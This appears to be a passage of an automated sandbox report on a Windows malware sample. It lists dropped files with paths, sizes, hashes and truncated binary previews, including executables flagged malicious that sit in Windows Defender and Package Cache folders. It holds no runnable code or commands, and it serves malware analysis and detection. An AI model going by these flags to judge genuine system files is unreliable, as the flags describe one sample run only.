Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\uvkTKBif.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366595325707563
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdUWQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdUNGCq2iW7z
MD5:	4361EB9B039624F123CC8E3B7DCABC99
SHA1:	3BBA606A1F2EBD2C900B7908DA70EB34989478FC
SHA-256:	A2124676B64F80154C08BCD6D71181568DBE3D810EDD02EB3168D70527BAA081
SHA-512:	FBC9159DFC25B08D726894F176E70BC85E6FEF3AB3AA0103C271F760CB19BBAA84C7EE14CC7EB8BAD2C240A0C381769442161696C2973FB8E9DE863F3471DD89
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4473576
Entropy (8bit):	6.5697251244545924
Encrypted:	false
SSDEEP:	98304:9kkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:9kkCqaE68eV+0y8E6L1
MD5:	A0E84CEDA4163F189BE5349FD432B1CB
SHA1:	204335080CD8BA8D46E52DFB29F1461D7BF84CA1
SHA-256:	9A8C97840B4745ABA6BE44CAE7DE9EC0E7960AE31E52DFDE4ACCB1C24B6C4DA7
SHA-512:	BE941C507F9A607087E96CDBA94358F4882BA231CC08E6AAE8480301A5FF82940630134F9DB780B9527F43DD83ABE5D4868759854D2517A6D6A87A26903FCC9F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501656
Entropy (8bit):	6.316687804131066
Encrypted:	false
SSDEEP:	12288:mLH18t6x1hjaNHBlfBVDZS82JninSFVlDW:mLOwxyNHBVEHRiSFVlDW
MD5:	EE696711CF9AC80FC9EFBB26B76ABCFE
SHA1:	A2E66B1A8970B93B055B783F1FE600A5EA861690
SHA-256:	9DA9F59CB0DF8F42679E524FDF590843F68D1413BB1F36335B361245F5FD7170
SHA-512:	5A6E226B94364E8F0312D8DE64192A5343EB5E370BC5E10F373458C871A25ABE7520E55AD68279FD215820CABEDADDE4ACA9A01071370B980B62A0126AAB2A94
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1637776
Entropy (8bit):	6.316076233282021
Encrypted:	false
SSDEEP:	24576:z7Z1jyzcKSmKsvwMZJ1XBsn/gu2bRC6dulyyn2WdXM6cWlLIJ:/Z1tKTwMZJ1XBsn/UC6dugWA
MD5:	2E0AE929AA0C46D1850BD2064954D911
SHA1:	C27307CF87ABAA9CB17C869583BEC5DBB57A3C41
SHA-256:	BB21F5661BC8569FBAD37E05E000529EA09A93DF9CE906AC798B6FF87C39DB52
SHA-512:	6F79861A391A35B7634EA05FD37B28ECEA234FE91AC44B3F2DD365F49C9338AA43D5EF40B80588343E7C1B05D2B358F9516F2696F6DB1E4D9D8EA87CBFADB1E1
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	224632
Entropy (8bit):	5.620193770987743
Encrypted:	false
SSDEEP:	3072:zr8WDrCvFtCsHjgU7HOg6KTe/+EypudsD22QnSUEhydebz41:Pu9tx0SA+EySaQKeUz41
MD5:	96A64BD0E265640FFAFD214049708702
SHA1:	DA525339352A6F40A51DD61FE17149EC37E69C61
SHA-256:	4E88BCEBE61AFD28AD1EC55523F1656CA98F02806531CEFFCA55F2598674CFFA
SHA-512:	EA63C18E5AB547A7F76C6BD2F721296B400E2D6FE89C45DFD8DFAB86A794D171A44487CAB0C8DC2328F9DC92C239BB1E2BF55D7C903791EF341BD88FEAE28FB0
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	431336
Entropy (8bit):	5.901379876199201
Encrypted:	false
SSDEEP:	6144:PuYzBRUKCBTwZVr2miTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVV+:jzBRnCBOrsBOBf
MD5:	E7C3CF515AE2F8559EB6E76D748D667F
SHA1:	265615DC51ACBDE842A9A012D03732AA4BF9DDE9
SHA-256:	A2CAC1656374C752299952716F9021B3E15497166FA936A1BAD6AB7C39FE7F8A
SHA-512:	9034265306CF0A5D467C652FEAE1AD6FB4798B527A8C58EED576137582EBF6F24DD25D9EC9D977C93A489E749F1F1A20503B508C168CC9C54419AEDA9B044458
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175160
Entropy (8bit):	5.99132731187077
Encrypted:	false
SSDEEP:	3072:zr8WDrC2/VpSIcnsHKTe8LnZCA5OfkQAm95kQOJeqx6u:Pu2tkIpdA5OfzDUeqx6u
MD5:	C41D1423579C9814533D2E30DA685786
SHA1:	B8AE1B9A8EA125CFA003E1404F44F825F3EFA4AE
SHA-256:	BEE3417F4A10BA18D5DDF56EF7D3AF8597164CE62C74D4E979E09BAD6C7D6509
SHA-512:	52DC28327704F55153CB10ADB7686D5469698D07ECF6E03B223F8DE2C32DF5296BA7E0190E37A58ECCA264C1B045CF7CA1F2AE35F15BA4F43B51D92961F7F90E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3162480
Entropy (8bit):	6.4701688186317785
Encrypted:	false
SSDEEP:	49152:vnW4jqFRZega3xejvY7GQOx4K1fm15FKqO7t78Ity6fod76lmlW8:ms3OBj4UmO
MD5:	2AB50023253EE6D119809C7126C9F338
SHA1:	F29A36B5340060FAB33E5A781E1F980CAC5A57D3
SHA-256:	CCABECAC6C338558D6B5DCB51DC580ED252E0745040133F9367E459F42984272
SHA-512:	7BED516829F2303A6EA5B8370D69B5C337485E6C96F630BA21AE3F449661DF9761FC9BC965C5F2137B5FD13E0CB73CFE262ACF940FB1C2A4DEB6264AF20EEB17
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1309408
Entropy (8bit):	6.49550103750245
Encrypted:	false
SSDEEP:	24576:9+sGOL9NLM3r4Viwj6KLqGua43loEeUFmwv:94AA4eGua43lgUFrv
MD5:	EAD6386843778A730062C698AA030740
SHA1:	F24C8F0717004F67681BC64DACD4187A98D596B2
SHA-256:	D932B4622D4D9A52924CB1540B483EF7163D67263A0E0EBA11504B73295B8D80
SHA-512:	0E7641E940526213DFD1627CC80852FE8DC6D9ED3582E30FF355DD56978794B850081082FE7B798152D8AE0E437212471C3C615714FF9CE1DC87434235716516
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922944
Entropy (8bit):	6.451755052708139
Encrypted:	false
SSDEEP:	12288:R9/Bro8OEYbhEdbsrg4Sxz2/Sl92ncG15fQ224i5pQ+poPCcqy:n/BrnYuqFcL3pQ+pD
MD5:	DD55468B36D1888056BEF50DE75C7A11
SHA1:	4A292F10FD739D491E4F299F845BF34CD02DFC69
SHA-256:	AFB76CC66B3FCAAA4BE9CD5FCAC4DDE7B6B47F7184067E82D0DA1901177B9C24
SHA-512:	0B3CD299E8567438880038EB5E32013062B1871BDABAA1D43F9FF39E00565EA43D38C419AC49033AF21AB627A7AF70EA3740DCA8897FB3D158D67EF5E20155AB
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD6A8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Nov 19 08:06:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	150850
Entropy (8bit):	1.8135782318141924
Encrypted:	false
SSDEEP:	768:sHTuBVt5ea3WpmgOyvWiWVYE3Y5ptBBZ1B8jw:IcDVYE3Y5ptBBZ1B8jw
MD5:	F3B91A8B4DD44AD233E88066BAEFB55C
SHA1:	107CE4764C2C4AEC9715D47F46DF44F243DAA028
SHA-256:	FDC2ECFF57B8F679EA448577B629C25A67A9E7BD058E159BAA95827AD849F963
SHA-512:	41FB14E78EDC512C55760425C15C512F31DF73A0598E3335A87AD3CEB0B185DE23C81D679DFD56674963DD10CC68593F53B3C71501EDB3D7CE0E958F1C1CA5F1
Malicious:	false
Preview:	MDMP..a..... ........F<g............D...............L.......4...nI..........T.......8...........T............7..............$...........................................................................................eJ..............GenuineIntel............T............F<g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9B7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6282
Entropy (8bit):	3.7231143475053368
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbfU64lSYmn9/x5aMQUt89bzksfb3xm:R6l7wVeJfU6qSYmFpDt89bzksfb3xm
MD5:	AB4DCF291022002FFF65CBA043E5FAFE
SHA1:	30D508A79CA382ACE604AB67654E126D08AAB410
SHA-256:	C00E19F0B6C84C92FD1809820BBDD062097F0F169F76EE192DCD134D5AA38E57
SHA-512:	44F641AA3C9F7FD914446D7AC5F33BDEDDA50384DB53165AA805B113A233D4BB9AA857F7A2E202165D525732C0F96DADB787D8B11B8D018D0F564F07759B5B4B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.1.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC96.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	4.463423865865015
Encrypted:	false
SSDEEP:	48:cvIwWl8zshiJg77aI93cWpW8VY6Ym8M4JGP3rFz+q8zvQekcWg9Kd:uIjf+I7FV7VuJGvRgvjkcWg9Kd
MD5:	FF5321BA96D8C41DA3F915FC3C3C8C89
SHA1:	EBB82616B6A8493420EF5E15E0FD7FD1CA34B0EC
SHA-256:	699994A739FDF80BD04896B3620A682E63DE1B25AD41A10F5C0D99C530AD0CCA
SHA-512:	97F37A443F57E459CA977F6568F771A9514DBB4CCEA6819DB34AA78E1CAAEEAC48E02DD19873B0436277E62EDD6DC477E9DDA386B52A368823CB6DF27CF40AE9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="594668" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692064
Entropy (8bit):	7.194014407923939
Encrypted:	false
SSDEEP:	12288:IskY7gjcjhVIEhqgM7bWvcsi6aVUfIy+U40vy3W/ceKSHMsiFyY6XNmnMwJ:IsZgjS1hqgSC/izkfFjymk4HM5yJwMK
MD5:	449FF18CECF6F5F51192A3B2DED55D19
SHA1:	344C9315CC65A9A8B57B7CA713EDDCFC00BD7A93
SHA-256:	0F891BFC3F74490937A0A339092EC8515409EC972B0EE12A7F3A21EA039CD706
SHA-512:	474720A4D8E0E992343DE1A897072C9062A5149E4F235013A28DF8C1DBA19020EA894231C1AAB7F5B3C041FD67CF3B2A26E5B25C7D6901FB4B0BEFCCB57957B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\42dd6ecb-0940-42a0-a585-6402c8043529.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44652
Entropy (8bit):	6.095665003210589
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBvwuDhDO6vP6OmpntTkXEDzVH7cGoup1Xl3jVzXr2:z/Ps+wsI7yOE66Glt/chu3VlXr4CRo1
MD5:	272BE1B0A4611A41831F14ECE5B90824
SHA1:	4D2302AE0B9F960965B267F5ACF12B22BB5D59BF
SHA-256:	5C4539AF84B50153AE2A67C2D2CC5765E76CA58010A489F8368D1838331F2350
SHA-512:	DB59C9814EA03AC0F53D2A4D927629197595985EF7B86F3F31990499884A49A5A6F39E2981F838583E908146BC28E102E22999E65B987A2424053499892FFD58
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9189aa57-c59d-4b87-8f0f-6b4a50f3968f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44018
Entropy (8bit):	6.0919501182693425
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBvFuihDO6vP6OqlmzL9SZuXCE19Goup1Xl3jVzXrT:z/Ps+wsI7yOEY6Qmz0ZuRhu3VlXr4CRd
MD5:	36D5FFB4D127C3127774CD597F499711
SHA1:	B100E8F977D6C822BAACBD5EF0AF84A6D2131A08
SHA-256:	7E23B1011B9DEE5AE067EC2DB3C5A8C2237FB90F985847C957DDEF17572EAA74
SHA-512:	666EA7FF1E9B27F46282A33C20C29ADDEF7C9357CF80D3E6AD6019E0BCEF0B1E98EDD52B4B03394500A7BE68F13FFA8ED98132A9048F308C64991D2F3432DFD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\91992348-af4e-4c9f-8fee-13aa87bd3ce5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44018
Entropy (8bit):	6.091918872448502
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBvFuihDO6vP6OulmzL9SZuXCE19Goup1Xl3jVzXrT:z/Ps+wsI7yOEY6kmz0ZuRhu3VlXr4CRd
MD5:	085B7D37CD6285F090CFF6F8F4C786C0
SHA1:	D05A30ADE035F26AC365DBA154C825247162B048
SHA-256:	78172B86DB71D990A47B53455D4075DC6E9886C9B69045C3C578E3964441F54A
SHA-512:	320113A703FAB55531E1B31EAF3BE56BD246D6C8240F69B6680231E5074D99F43D7362BEEE03D782377BBD68438AD1A24EC859FBD62595FD96BE7D53A18BDB2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673C46EC-1DC8.pma

